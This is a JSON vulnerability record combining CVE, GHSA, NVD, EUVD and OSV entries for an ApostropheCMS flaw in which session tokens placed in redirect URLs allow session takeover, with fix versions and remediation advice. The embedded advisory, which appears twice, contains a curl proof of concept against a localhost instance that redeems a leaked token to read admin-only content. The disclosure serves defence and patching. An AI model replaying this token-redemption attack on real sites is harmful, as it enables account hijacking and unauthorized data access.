{"id":"CVE-2026-113669","aliases":["EUVD-2026-105218","GHSA-hhvr-8m24-qqr3"],"status":"published","title":"ApostropheCMS: Cross-domain session token in URL confers session takeover","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0 of ApostropheCMS and 1.6.1 of passport-bridge, cross-host or cross-locale session migration places a single-use bearer session token in a redirect URL. A client that obtains and redeems a still-valid, unconsumed token before its first use can adopt the associated session, including through the passport-bridge cross-locale flow. This issue is fixed in ApostropheCMS 4.33.0 and passport-bridge 1.6.1.","severity":{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00416,"percentile":0.36432,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-598"],"published":"2026-10-20T17:35:40Z","modified":"2026-11-11T02:48:45Z","fixes":[{"ecosystem":"npm","package":"apostrophe","fixed_in":["4.33.0"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"@apostrophecms/passport-bridge","fixed_in":["1.6.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.33.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@apostrophecms/passport-bridge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.1"}]}]},{"source":"osv","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.33.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@apostrophecms/passport-bridge","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.6.1"}]}]}],"products":[{"vendor":"@apostrophecms","product":"passport-bridge"},{"vendor":"apostrophecms","product":"apostrophe"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-hhvr-8m24-qqr3","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-hhvr-8m24-qqr3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113669.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113669","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-113669","title":"ApostropheCMS: Cross-domain session token in URL confers session takeover","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0 of ApostropheCMS and 1.6.1 of passport-bridge, cross-host or cross-locale session migration places a single-use bearer session token in a redirect URL. A client that obtains and redeems a still-valid, unconsumed token before its first use can adopt the associated session, including through the passport-bridge cross-locale flow. This issue is fixed in ApostropheCMS 4.33.0 and passport-bridge 1.6.1.","status":"published","published":"2026-10-20T17:35:40.136Z","modified":"2026-10-23T01:58:19.763Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-598"],"updated_at":"2026-11-02T13:44:29.519518Z"}],"euvd":[{"id":"EUVD-2026-105218","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0 of ApostropheCMS and 1.6.1 of passport-bridge, cross-host or cross-locale session migration places a single-use bearer session token in a redirect URL. A client that obtains and redeems a still-valid, unconsumed token before its first use can adopt the associated session, including through the passport-bridge cross-locale flow. This issue is fixed in ApostropheCMS 4.33.0 and passport-bridge 1.6.1.","status":"published","published":"2026-10-20T17:35:40Z","modified":"2026-10-23T01:58:19Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:59:33.524592Z"}],"ghsa":[{"id":"GHSA-hhvr-8m24-qqr3","title":"ApostropheCMS: Cross-domain session token in URL confers session takeover","description":"**Summary**\nApostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:\n- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.\n- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.\n- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.\n\n**PoC**\n```\n# 0) Anonymous baseline: admin-only draft → 403\n# 1) Admin logs in legitimately (token minted into redirect URL):\ncurl -c admin.cookies -X POST -H \"Content-Type: application/json\" \\\n     --data '{\"username\":\"admin\",\"password\":\"adminpassword\",\"session\":true}' \\\n     http://localhost:3100/api/v1/@apostrophecms/login/login\n# 2) Attacker with NO credentials visits the leaked token URL:\ncurl -c atk.cookies \"http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN\"\n#    → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie\n# 3) Attacker reads admin-only content via adopted session:\ncurl -b atk.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\"\n#    → 200  adopted-session read -\u003e Secret Private Page | secretData = TOP-SECRET-VALUE-abc123\n# 4) Cache entry consumed (single-use): {\"value\":null}\n```\n\n**Impact**\nSession hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.\n\n**Remediation** — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.","status":"published","published":"2026-10-20T18:09:01Z","modified":"2026-10-20T18:09:02Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-598"],"updated_at":"2026-11-02T14:41:33.669646Z"}],"nvd":[{"id":"CVE-2026-113669","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0 of ApostropheCMS and 1.6.1 of passport-bridge, cross-host or cross-locale session migration places a single-use bearer session token in a redirect URL. A client that obtains and redeems a still-valid, unconsumed token before its first use can adopt the associated session, including through the passport-bridge cross-locale flow. This issue is fixed in ApostropheCMS 4.33.0 and passport-bridge 1.6.1.","status":"published","published":"2026-10-20T18:17:20.55Z","modified":"2026-10-23T02:16:56.453Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-598"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-113669","title":"ApostropheCMS: Cross-domain session token in URL confers session takeover","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0 of ApostropheCMS and 1.6.1 of passport-bridge, cross-host or cross-locale session migration places a single-use bearer session token in a redirect URL. A client that obtains and redeems a still-valid, unconsumed token before its first use can adopt the associated session, including through the passport-bridge cross-locale flow. This issue is fixed in ApostropheCMS 4.33.0 and passport-bridge 1.6.1.","status":"published","published":"2026-10-20T17:35:40.136Z","modified":"2026-11-11T10:47:24.942130592Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-598"],"updated_at":"2026-11-11T03:22:00.901153Z"},{"id":"GHSA-hhvr-8m24-qqr3","title":"ApostropheCMS: Cross-domain session token in URL confers session takeover","description":"**Summary**\nApostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:\n- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.\n- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.\n- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.\n\n**PoC**\n```\n# 0) Anonymous baseline: admin-only draft → 403\n# 1) Admin logs in legitimately (token minted into redirect URL):\ncurl -c admin.cookies -X POST -H \"Content-Type: application/json\" \\\n     --data '{\"username\":\"admin\",\"password\":\"adminpassword\",\"session\":true}' \\\n     http://localhost:3100/api/v1/@apostrophecms/login/login\n# 2) Attacker with NO credentials visits the leaked token URL:\ncurl -c atk.cookies \"http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN\"\n#    → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie\n# 3) Attacker reads admin-only content via adopted session:\ncurl -b atk.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\"\n#    → 200  adopted-session read -\u003e Secret Private Page | secretData = TOP-SECRET-VALUE-abc123\n# 4) Cache entry consumed (single-use): {\"value\":null}\n```\n\n**Impact**\nSession hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.\n\n**Remediation** — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.","status":"published","published":"2026-10-20T18:09:01Z","modified":"2026-10-20T18:15:04.524920067Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-598"],"updated_at":"2026-11-02T15:46:49.28217Z"}]}}